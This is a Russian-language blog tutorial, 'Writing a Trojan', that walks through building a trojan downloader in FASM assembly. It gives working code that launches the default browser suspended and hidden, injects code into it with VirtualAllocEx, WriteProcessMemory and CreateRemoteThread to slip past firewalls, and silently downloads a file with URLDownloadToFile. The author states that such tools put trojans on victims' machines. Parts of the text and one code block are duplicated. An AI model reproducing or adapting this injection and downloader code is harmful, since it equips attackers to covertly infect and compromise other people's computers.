March 6, 2020

Пишем Trojan

Trojan (Downloader) - именно так классифицирует Лаборатория Касперского тип программ, о которых пойдет речь в этой статье. TrojanDownloader - именно так классифицирует Лаборатория Касперского типпрограмм, о которых пойдет речь в этой статье. Итак, что такое downloader? Это программа, которая незаметно для пользователя скачивает из сети другую программу и\или данные. Наибольшее распространение программы данного класса получили у троянописателей, что позволяет им загружать свое ПО на машины жертв. Сама идея загрузки троянов при помощи сторонних программ не нова, как минимум ей уже 5 лет. Но прогресс не стоит на месте, средства обеспечения безопасности активно развиваются,и,соответственно, улучшаются downloader'ы. От примитивных средств закачки они проделали путь до программ с развитой структурой взаимодействия с ОС и сетью.

На данный момент функциями более-менее приличного "загрузчика" являются:

1) Обеспечение собственной безопасности в системе, обход файерволов, загрузка указанного файла, с последующим запуском его на выполнение. Некоторые из существующих "загрузчиков" содержат "расширенные" функции, например, шифрование данных, таких как адрес файла для загрузки, или, например, получение статистики по зараженным машинам - их количество,версии ОС и многое другое, т.е. по-сути являются некими "полу-троянами". Но вернемся к основной функции "загрузчиков" -незаметно загрузить файл на машину пользователя. В данной статье мы рассмотрим простой downloader, который, однако, позволяет обойти некоторые файерволы и загрузить файл из сети. Выбор языка программирования пал на ассемблер, в качестве компилятора я использовал FASM (thx Tomasz Grysztar). Предполагаю, что многие читатели не знакомы с ассемблером, но это не беда, код получился достаточно простым, единственное, что необходимо, чтобы понять его, это немного напрячь мозги. В коде отсутствуют некоторые проверки на ошибки, которые, в свою очередь, могут привести к появлению сообщения о чем-нибудь некорректном в рамках процесса, но мне было так лень их писать

2) Весь код состоит из нескольких процедур, мы начнем с процедуры поиска браузера по-умолчанию. Для нахождения пути к браузеру нам необходимо создать файл с расширением ".htm" и использовать функцию "FindExecutable". Создать файл можно функцией "CreateFile", которой мы передаем параметр будущего файла - атрибут "скрытого" файла. Делать это не обязательно, но лучше скрыть пустой файл от глаз пользователя, а еще лучше,после нахождения пути к браузеру, удалить его. В функцию "FindExecutable" мы передаем путь к файлу и переменную, куда будет занесен путь к браузеру.


Код :
;-------------------------------------------------------------------------; ; Find Executable __findex: push 0 push FILE_ATTRIBUTE_HIDDEN push CREATE_NEW push 0 push 0 push GENERIC_READ push filz call [CreateFile] push cmd push 0 push filz call [FindExecutable] ret ;-------------------------------------------------------------------------; filz db '1.htm',0 cmd db 'c:\program files\internet explorer\iexplore.exe',0 ;-------------------------------------------------------------------------;



Я назвал временный файл "1.htm", а в переменную пути на всякий случай, прописал путь по-умолчанию к IExplore. Делать это не обязательно.
Теперь дальше.

Невидимость в процессах и обход файерволов достигается путем инъекции нашего кода в код браузера. Для этого нам необходимо открыть его в памяти на редактирование, сделать это можно только когда процесс запущен. Но ведь пользователь может долгое время не использовать браузер,что же нам - ждать?

Конечно нет. Мы сами запустим процесс, чем решим несколько проблем:

1. Нет необходимости ждать запуск процесса

2. Невидимость окна браузера

3. Нет необходимости получать права "SeDebug" для открытия процесса.

Последнее происходит потому, что после функции "CreateProcess" для нашего "загрузчика" будет автоматически выставлено "PROCESS_ALL_ACCESS" , что есть полный доступ к процессу.

Создание процесса будет идти , как я уже упомянул, через функцию

"CreateProcess", в которую мы передаем структуры "PROCESS_INFORMATION" и

"STARTUPINFO", командную строку для вызова браузера и пару опций:

1. SW_SHOW - отображение окна браузера, если этого не сделать,то, например,

"Outpost Firewall" выдаст предупреждение о запуске "скрытого" процесса.

"Как нам скрыть окно браузера?", - спросите вы. А вот для этого мы

указываем второй параметр.

2. CREATE_SUSPENDED - создать процесс приостановленным, эта опция позволит не показывать окно браузера

Кстати, "CREATE_SUSPENDED" часто используется в троянах для обхода файерволов,но приостановленный процесс потом зачем-то запускается. Зачем :?
Мы, естественно, не будем так поступать. Код:

;-------------------------------------------------------------------------;
 ; Create Fake Process
  __create:

    push  pinfo
    push  sinfo
    push  0
    push  0
    push  CREATE_SUSPENDED;
    push  0
    push  0
    push  0
    push  cmd
    push  0
    mov  [sinfo.wShowWindow],SW_SHOW
    call  [CreateProcess]

    ret
 ;-------------------------------------------------------------------------;
    pinfo  PROCESS_INFORMATION
    sinfo  STARTUPINFO
 ;-------------------------------------------------------------------------;



После выполнения данной функции мы получим заполненную структуру "PROCESS_INFORMATION", которая будет содержать хендл и PID нашего браузера.

Итак, открываем процесс с параметром "PROCESS_ALL_ACCESS", для этого в функцию "OpenProcess" необходимо передать номер процесса из структуры "PROCESS_INFORMATION". После чего в регистр EAX будет записан хендл процесса. Затем, с помощью функции "VirtualAllocEx", мы увеличиваем память нашего процесса на необходимое нам количество,которое можно расчитать,как разность конца и начала кода процедуры. Далее мы пишем в выделенную память наш код благодаря функции
"WriteProcessMemory",после чего нам остается только создать удаленный поток в контексте браузера через функцию "CreateRemoteThread". Код: ;-------------------------------------------------------------------------; ; Inject Code __inject: xor esi,esi push [pinfo.dwProcessId] push 0 push PROCESS_ALL_ACCESS call [OpenProcess] test eax,eax jz .exit xchg eax,edi push PAGE_EXECUTE_READWRITE push MEM_RESERVE + MEM_COMMIT push _download_end-_download push esi push edi call [VirtualAllocEx] test eax,eax jz .close xchg eax,ebp push esi push _download_end-_download push _download push ebp push edi call [WriteProcessMemory] dec eax test eax,eax jnz .close inc eax push esi push esi push ebp push ebp push esi push esi push edi call [CreateRemoteThread] .close: push edi call [CloseHandle] .exit: ret ;-------------------------------------------------------------------------; После выполнения данной функции мы получим заполненную структуру "PROCESS_INFORMATION", которая будет содержать хендл и PID нашего браузера. Итак, открываем процесс с параметром "PROCESS_ALL_ACCESS", для этого в функцию "OpenProcess" необходимо передать номер процесса из структуры "PROCESS_INFORMATION". После чего в регистр EAX будет записан хендл процесса. Затем, с помощью функции "VirtualAllocEx", мы увеличиваем память нашего процесса на необходимое нам количество,которое можно расчитать,как разность конца и начала кода процедуры. Далее мы пишем в выделенную память наш код благодаря функции. "WriteProcessMemory", после чего нам остается только создать удаленный поток в контексте браузера через функцию "CreateRemoteThread".

Код:

;-------------------------------------------------------------------------;
 ; Inject Code
  __inject:

    xor  esi,esi

    push  [pinfo.dwProcessId]
    push  0
    push  PROCESS_ALL_ACCESS
    call  [OpenProcess]

    test  eax,eax
    jz    .exit
    xchg  eax,edi

    push  PAGE_EXECUTE_READWRITE
    push  MEM_RESERVE + MEM_COMMIT
    push  _download_end-_download
    push  esi
    push  edi
    call  [VirtualAllocEx]

    test  eax,eax
    jz    .close
    xchg  eax,ebp

    push  esi
    push  _download_end-_download
    push  _download
    push  ebp
    push  edi
    call  [WriteProcessMemory]

    dec  eax
    test  eax,eax
    jnz  .close
    inc  eax

    push  esi
    push  esi
    push  ebp
    push  ebp
    push  esi
    push  esi
    push  edi
    call  [CreateRemoteThread]

  .close:
    push  edi
    call  [CloseHandle]

  .exit:
    ret
 ;-------------------------------------------------------------------------;

В связи с тем, что наш код получает смещение в ходе инъекции, нам необходимо, заранее сохранить адреса вызываемых функций, причем хранить мы их будем прямо в коде. Для сохранения мы используем вот такую процедуру:


;-------------------------------------------------------------------------; ; Get APIs __apis: mov edi,[MessageBox] mov [_MessageBox],edi mov edi,[LoadLibrary] mov [_LoadLibrary],edi ret ;-------------------------------------------------------------------------;


Т.е. адрес оригинальной функции помещаем в EDI, а оттуда в область данных. Смещение, которое получает наш код, называется дельта-смещением, и мы должны будем рассчитать его. Для этого существует несколько способов, я выбрал самый распространенный.


Код:

;-------------------------------------------------------------------------;
    call  .delta

    .delta:
    pop  ebp
    sub  ebp,.delta
 ;-------------------------------------------------------------------------;


Теперь пара слов о коде закачки файла. Я решил не особо напрягать себя и использовал стандартную функцию "URLDownloadToFile", которая находится в библиотеке "Urlmon.dll". Поэтому мы, перед ее вызовом,должны эту библиотеку подгрузить. Кстати, о вызовах функций... Передаваемые функции данные должны получать смещение, как и сам вызов функции. Для этого мы прибавляем к ним содержимое регистра EBP. Итак, после того, как мы подгрузили библиотеку (не страшно, если она уже была подгружена браузером, мы вызываем функцию "URLDownloadToFile", в которую передаем адрес закачиваемого файла и адрес файла, куда мы все сохраним.

Вот собственна вся наша магия


Код:
;-------------------------------------------------------------------------; ; FuCkUp CoDe _download: call .delta .delta: pop ebp sub ebp,.delta xor esi,esi ; LoadLibrary lea eax,[ebp+_urlmon] push eax call [ebp+_LoadLibrary] ; URLDownloadToFile push 0 push 0 lea eax,[ebp+_filez] push eax lea eax,[ebp+_neturl] push eax push 0 call [ebp+_URLDownloadToFile] ret .data: _LoadLibrary dd 0 _URLDownloadToFile dd 0 _urlmon db 'urlmon.dll',0 _neturl db 'http://localhost/filez.txt',0 _filez db 'filez.txt',0 _download_end: ;-------------------------------------------------------------------------;

В дальнейшем мы поговорим как улучшить этот примитиный downloader.